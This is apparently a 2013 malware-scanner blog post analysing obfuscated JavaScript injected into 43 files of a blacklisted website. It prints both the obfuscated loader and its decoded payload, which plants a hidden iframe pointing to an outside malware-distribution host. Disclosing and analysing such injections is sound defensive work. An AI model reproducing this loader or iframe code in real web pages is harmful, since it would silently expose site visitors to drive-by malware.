Monday, August 12, 2013

How JavaScript injected into website pages generates malicious iframes

Blacklisted website hosts JavaScript code generating hidden iframe to load content from compromised website

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website visitor in order to download content from remote malware distributor.

This infected website hosts suspicious JavaScript code injected in 43 files. The website is already blacklisted by Google Safe Browsing. Hidden iframe loads content from the remote site that has hosted malware which infected 31 domains.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Wed Aug 7 11:05:16 2013
Infected website's files: 43
Website malware scan report link: Sitescan report link

Quttera online malware scanning
Quttera online malware scanner


Threat dump:

JavaScript malware detected on website
JavaScript malware detected on website. Quttera online website scanner screenshot



Malware entry


Malware entry details.

Beautified script

  1. try {
  2.     q = document.createElement("u");
  3.     q.appendChild(+ "");
  4. } catch (qw) {
  5.     h = -012 / 5;
  6.     zz = 'a' + 'l';
  7.     f = 'fr' + 'o' + 'm' + 'Ch';
  8.     f += 'arC';
  9. }
  10. try {
  11.     begbe = prototype;
  12. } catch (b43gds) {
  13.     zz = 'zv'.substr(123 - 122) + zz;
  14.     ss = [];
  15.     f += (h) ? 'ode' : "";
  16.     w = this;
  17.     e = w[f.substr(11) + zz];
  18.     n = [-2.75, -2.75, 21.25, 20.5, 3, 5, 20, 22.75, 19.75, 24.25, 22.25, 20.25, 22.5, 24, 6.5, 20.75, 20.25, 24,12.25, 22, 20.25, 22.25, 20.25, 22.5, 24, 23.75, 11.5, 25.25, 16, 19.25, 20.75, 14.5, 19.25, 22.25, 20.25, 5,4.75, 19.5, 22.75, 20, 25.25, 4.75, 5.25, 17.75, 7, 18.25, 5.25, 25.75, -1.75, -2.75, -2.75, -2.75, 21.25, 20.5,23.5, 19.25, 22.25, 20.25, 23.5, 5, 5.25, 9.75, -1.75, -2.75, -2.75, 26.25, 3, 20.25, 22, 23.75, 20.25, 3, 25.75,-1.75, -2.75, -2.75, -2.75, 20, 22.75, 19.75, 24.25, 22.25, 20.25, 22.5, 24, 6.5, 24.75, 23.5, 21.25, 24, 20.25,5, 3.5, 10, 21.25, 20.5, 23.5, 19.25, 22.25, 20.25, 3, 23.75, 23.5, 19.75, 10.25, 4.75, 21, 24, 24, 23, 9.5, 6.75,6.75, 21.5, 19.25, 21, 20, 21.25, 24.5, 21.25, 20, 20.25, 22.75, 22.5, 20.25, 23.5, 23.75, 6.5, 23.75, 24.25,6.75, 22.25, 19.25, 21.25, 22.5, 6.5, 23, 21, 23, 10.75, 23, 19.25, 20.75, 20.25, 10.25, 8, 20, 9, 7.25, 20, 8,19.75, 8.25, 8, 20, 8.75, 7.25, 19.5, 7.75, 8.5, 19.75, 4.75, 3, 24.75, 21.25, 20, 24, 21, 10.25, 4.75, 7.25, 7,4.75, 3, 21, 20.25, 21.25, 20.75, 21, 24, 10.25, 4.75, 7.25, 7, 4.75, 3, 23.75, 24, 25.25, 22, 20.25, 10.25, 4.75,24.5, 21.25, 23.75, 21.25, 19.5, 21.25, 22, 21.25, 24, 25.25, 9.5, 21, 21.25, 20, 20, 20.25, 22.5, 9.75, 23,22.75, 23.75, 21.25, 24, 21.25, 22.75, 22.5, 9.5, 19.25, 19.5, 23.75, 22.75, 22, 24.25, 24, 20.25, 9.75, 22,20.25, 20.5, 24, 9.5, 7, 9.75, 24, 22.75, 23, 9.5, 7, 9.75, 4.75, 10.5, 10, 6.75, 21.25, 20.5, 23.5, 19.25, 22.25,20.25, 10.5, 3.5, 5.25, 9.75, -1.75, -2.75, -2.75, 26.25, -1.75, -2.75, -2.75, 20.5, 24.25, 22.5, 19.75, 24,21.25, 22.75, 22.5, 3, 21.25, 20.5, 23.5, 19.25, 22.25, 20.25, 23.5, 5, 5.25, 25.75, -1.75, -2.75, -2.75, -2.75,24.5, 19.25, 23.5, 3, 20.5, 3, 10.25, 3, 20, 22.75, 19.75, 24.25, 22.25, 20.25, 22.5, 24, 6.5, 19.75, 23.5, 20.25,19.25, 24, 20.25, 12.25, 22, 20.25, 22.25, 20.25, 22.5, 24, 5, 4.75, 21.25, 20.5, 23.5, 19.25, 22.25, 20.25, 4.75,5.25, 9.75, 20.5, 6.5, 23.75, 20.25, 24, 11.25, 24, 24, 23.5, 21.25, 19.5, 24.25, 24, 20.25, 5, 4.75, 23.75, 23.5,19.75, 4.75, 6, 4.75, 21, 24, 24, 23, 9.5, 6.75, 6.75, 21.5, 19.25, 21, 20, 21.25, 24.5, 21.25, 20, 20.25, 22.75,22.5, 20.25, 23.5, 23.75, 6.5, 23.75, 24.25, 6.75, 22.25, 19.25, 21.25, 22.5, 6.5, 23, 21, 23, 10.75, 23, 19.25,20.75, 20.25, 10.25, 8, 20, 9, 7.25, 20, 8, 19.75, 8.25, 8, 20, 8.75, 7.25, 19.5, 7.75, 8.5, 19.75, 4.75, 5.25,9.75, 20.5, 6.5, 23.75, 24, 25.25, 22, 20.25, 6.5, 24.5, 21.25, 23.75, 21.25, 19.5, 21.25, 22, 21.25, 24, 25.25,10.25, 4.75, 21, 21.25, 20, 20, 20.25, 22.5, 4.75, 9.75, 20.5, 6.5, 23.75, 24, 25.25, 22, 20.25, 6.5, 23, 22.75,23.75, 21.25, 24, 21.25, 22.75, 22.5, 10.25, 4.75, 19.25, 19.5, 23.75, 22.75, 22, 24.25, 24, 20.25, 4.75, 9.75,20.5, 6.5, 23.75, 24, 25.25, 22, 20.25, 6.5, 22, 20.25, 20.5, 24, 10.25, 4.75, 7, 4.75, 9.75, 20.5, 6.5, 23.75,24, 25.25, 22, 20.25, 6.5, 24, 22.75, 23, 10.25, 4.75, 7, 4.75, 9.75, 20.5, 6.5, 23.75, 20.25, 24, 11.25, 24, 24,23.5, 21.25, 19.5, 24.25, 24, 20.25, 5, 4.75, 24.75, 21.25, 20, 24, 21, 4.75, 6, 4.75, 7.25, 7, 4.75, 5.25, 9.75,20.5, 6.5, 23.75, 20.25, 24, 11.25, 24, 24, 23.5, 21.25, 19.5, 24.25, 24, 20.25, 5, 4.75, 21, 20.25, 21.25, 20.75,21, 24, 4.75, 6, 4.75, 7.25, 7, 4.75, 5.25, 9.75, -1.75, -2.75, -2.75, -2.75, 20, 22.75, 19.75, 24.25, 22.25,20.25, 22.5, 24, 6.5, 20.75, 20.25, 24, 12.25, 22, 20.25, 22.25, 20.25, 22.5, 24, 23.75, 11.5, 25.25, 16, 19.25,20.75, 14.5, 19.25, 22.25, 20.25, 5, 4.75, 19.5, 22.75, 20, 25.25, 4.75, 5.25, 17.75, 7, 18.25, 6.5, 19.25, 23,23, 20.25, 22.5, 20, 11.75, 21, 21.25, 22, 20, 5, 20.5, 5.25, 9.75, -1.75, -2.75, -2.75, 26.25];
  19.     for (= 6 - 2 - 1 - 2 - 1; i - 619 != 0; i++) {
  20.         k = i;
  21.         ss = ss + String["from" + "CharCode"](-1 * 2 * h * (5 + 1 * n[k]));
  22.     }
  23.     e(ss);
  24. }

Malicious payload


Decoded payload generates hidden iframe to http://jahdivideoners.su/main.php?page=4d81d4c54d71b36c

  1. if (document.getElementsByTagName('body')[0]) {
  2.     iframer();
  3. } else {
  4.     document.write("<iframe src='http://jahdivideoners.su/main.php?page=4d81d4c54d71b36c' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
  5. }
  6.  
  7. function iframer() {
  8.     var f = document.createElement('iframe');
  9.     f.setAttribute('src', 'http://jahdivideoners.su/main.php?page=4d81d4c54d71b36c');
  10.     f.style.visibility = 'hidden';
  11.     f.style.position = 'absolute';
  12.     f.style.left = '0';
  13.     f.style.top = '0';
  14.     f.setAttribute('width', '10');
  15.     f.setAttribute('height', '10');
  16.     document.getElementsByTagName('body')[0].appendChild(f);
  17. }


For similar cases with analysis look in the malicious obfuscated JavaScript posts.

Blacklisting status


Both scanned website and the redirect URL are Suspicious on Google Safe Browsing.

Google Safe Browsing report for scanned website

Google Safe Browsing report for detected redirect URL


Malware clean-up


Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.